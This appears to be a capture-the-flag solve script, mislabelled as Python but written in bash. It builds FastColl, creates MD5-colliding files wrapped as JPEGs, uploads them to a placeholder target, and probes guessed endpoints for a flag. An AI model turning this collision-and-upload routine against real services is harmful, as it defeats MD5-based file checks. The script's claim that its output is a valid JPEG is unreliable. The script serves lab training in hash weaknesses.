MD5 Collision Python Script (Images)

gistfile1.txt

#!/bin/bash

# Matchmaker CTF - MD5 Collision Attack
# This script uses FastColl to generate collision files and upload them

TARGET="http://IP_Address"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

echo -e "${YELLOW}=========================================${NC}"
echo -e "${YELLOW}Matchmaker CTF - MD5 Collision Attack${NC}"
echo -e "${YELLOW}=========================================${NC}\n"

# Step 1: Check if FastColl is available
echo -e "${GREEN}[*] Checking for FastColl...${NC}"

if [ ! -f "./fastcoll" ]; then
    echo -e "${YELLOW}[!] FastColl not found. Installing...${NC}"
    
    # Try to install from source
    if command -v git &> /dev/null; then
        git clone https://github.com/upbit/clone-fastcoll.git
        cd clone-fastcoll
        make
        cd ..
        cp clone-fastcoll/fastcoll .
        echo -e "${GREEN}[+] FastColl installed!${NC}"
    else
        echo -e "${RED}[-] Git not found. Please install FastColl manually:${NC}"
        echo "    git clone https://github.com/upbit/clone-fastcoll.git"
        echo "    cd clone-fastcoll && make"
        exit 1
    fi
fi

# Step 2: Generate MD5 collision
echo -e "\n${GREEN}[*] Generating MD5 collision files...${NC}"

./fastcoll -o msg1.bin msg2.bin

if [ $? -eq 0 ]; then
    echo -e "${GREEN}[+] Collision files generated: msg1.bin, msg2.bin${NC}"
    
    # Verify collision
    HASH1=$(md5sum msg1.bin | cut -d' ' -f1)
    HASH2=$(md5sum msg2.bin | cut -d' ' -f1)
    
    echo -e "${GREEN}[+] msg1.bin MD5: $HASH1${NC}"
    echo -e "${GREEN}[+] msg2.bin MD5: $HASH2${NC}"
    
    if [ "$HASH1" == "$HASH2" ]; then
        echo -e "${GREEN}[+] ✓ MD5 Collision successful! Both files have the same hash!${NC}"
    else
        echo -e "${RED}[-] ✗ MD5s don't match. Something went wrong.${NC}"
        exit 1
    fi
else
    echo -e "${RED}[-] FastColl failed. Exiting.${NC}"
    exit 1
fi

# Step 3: Create valid JPEG images from collision data
echo -e "\n${GREEN}[*] Creating valid JPEG images from collision data...${NC}"

# Minimal JPEG header
JPEG_HEADER='\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
JPEG_FOOTER='\xff\xd9'

# Create img1.jpg
echo -ne "$JPEG_HEADER" > img1.jpg
cat msg1.bin >> img1.jpg
echo -ne "$JPEG_FOOTER" >> img1.jpg

# Create img2.jpg
echo -ne "$JPEG_HEADER" > img2.jpg
cat msg2.bin >> img2.jpg
echo -ne "$JPEG_FOOTER" >> img2.jpg

echo -e "${GREEN}[+] Created: img1.jpg ($(stat -f%z img1.jpg 2>/dev/null || stat -c%s img1.jpg) bytes)${NC}"
echo -e "${GREEN}[+] Created: img2.jpg ($(stat -f%z img2.jpg 2>/dev/null || stat -c%s img2.jpg) bytes)${NC}"

# Verify images have same MD5
IMG1_HASH=$(md5sum img1.jpg | cut -d' ' -f1)
IMG2_HASH=$(md5sum img2.jpg | cut -d' ' -f1)

echo -e "${GREEN}[+] img1.jpg MD5: $IMG1_HASH${NC}"
echo -e "${GREEN}[+] img2.jpg MD5: $IMG2_HASH${NC}"

if [ "$IMG1_HASH" == "$IMG2_HASH" ]; then
    echo -e "${GREEN}[+] ✓ Images have the same MD5 hash!${NC}"
else
    echo -e "${RED}[-] ✗ Image MD5s don't match!${NC}"
fi

# Step 4: Upload the collision images
echo -e "\n${GREEN}[*] Uploading collision images to $TARGET...${NC}"

echo -e "\n${YELLOW}--- Uploading img1.jpg ---${NC}"
RESPONSE1=$(curl -s -X POST "$TARGET/upload" -F "file=@img1.jpg" -F "photo=@img1.jpg" -F "image=@img1.jpg" 2>&1)
echo "$RESPONSE1" | head -20

# Extract UUID if present
UUID1=$(echo "$RESPONSE1" | grep -oE '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}' | head -1)
if [ -n "$UUID1" ]; then
    echo -e "${GREEN}[+] img1.jpg uploaded with UUID: $UUID1${NC}"
    echo -e "${GREEN}[+] Check: $TARGET/upload_success/$UUID1${NC}"
    
    # Check the result
    curl -s "$TARGET/upload_success/$UUID1" | grep -i "match\|flag\|dog" | head -10
fi

echo -e "\n${YELLOW}--- Uploading img2.jpg ---${NC}"
RESPONSE2=$(curl -s -X POST "$TARGET/upload" -F "file=@img2.jpg" -F "photo=@img2.jpg" -F "image=@img2.jpg" 2>&1)
echo "$RESPONSE2" | head -20

UUID2=$(echo "$RESPONSE2" | grep -oE '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}' | head -1)
if [ -n "$UUID2" ]; then
    echo -e "${GREEN}[+] img2.jpg uploaded with UUID: $UUID2${NC}"
    echo -e "${GREEN}[+] Check: $TARGET/upload_success/$UUID2${NC}"
    
    # Check the result
    curl -s "$TARGET/upload_success/$UUID2" | grep -i "match\|flag\|dog" | head -10
fi

# Step 5: Try accessing by MD5 hash
echo -e "\n${GREEN}[*] Trying to access files by MD5 hash: $IMG1_HASH${NC}"

ENDPOINTS=(
    "/file/$IMG1_HASH"
    "/image/$IMG1_HASH"
    "/match/$IMG1_HASH"
    "/dog/$IMG1_HASH"
    "/static/uploads/$IMG1_HASH"
    "/static/uploads/$IMG1_HASH.jpg"
)

for endpoint in "${ENDPOINTS[@]}"; do
    echo -e "\n${YELLOW}Testing: $TARGET$endpoint${NC}"
    RESULT=$(curl -s "$TARGET$endpoint" 2>&1)
    
    if [ -n "$RESULT" ] && [ "$RESULT" != "404" ] && [[ ! "$RESULT" =~ "Not Found" ]]; then
        echo -e "${GREEN}[+] Got response:${NC}"
        echo "$RESULT" | head -20
        
        # Check for flag
        if echo "$RESULT" | grep -qi "flag{"; then
            echo -e "${RED}[!!!] FLAG FOUND !!!${NC}"
            echo "$RESULT" | grep -i "flag{"
        fi
    fi
done

echo -e "\n${YELLOW}=========================================${NC}"
echo -e "${YELLOW}Summary${NC}"
echo -e "${YELLOW}=========================================${NC}"
echo -e "Collision MD5: ${GREEN}$IMG1_HASH${NC}"
echo -e "img1.jpg UUID: ${GREEN}$UUID1${NC}"
echo -e "img2.jpg UUID: ${GREEN}$UUID2${NC}"
echo -e "\n${YELLOW}Next steps:${NC}"
echo "1. Check the upload success pages for matches"
echo "2. Look for flags in the responses"
echo "3. Try accessing other endpoints with the MD5 hash"
echo ""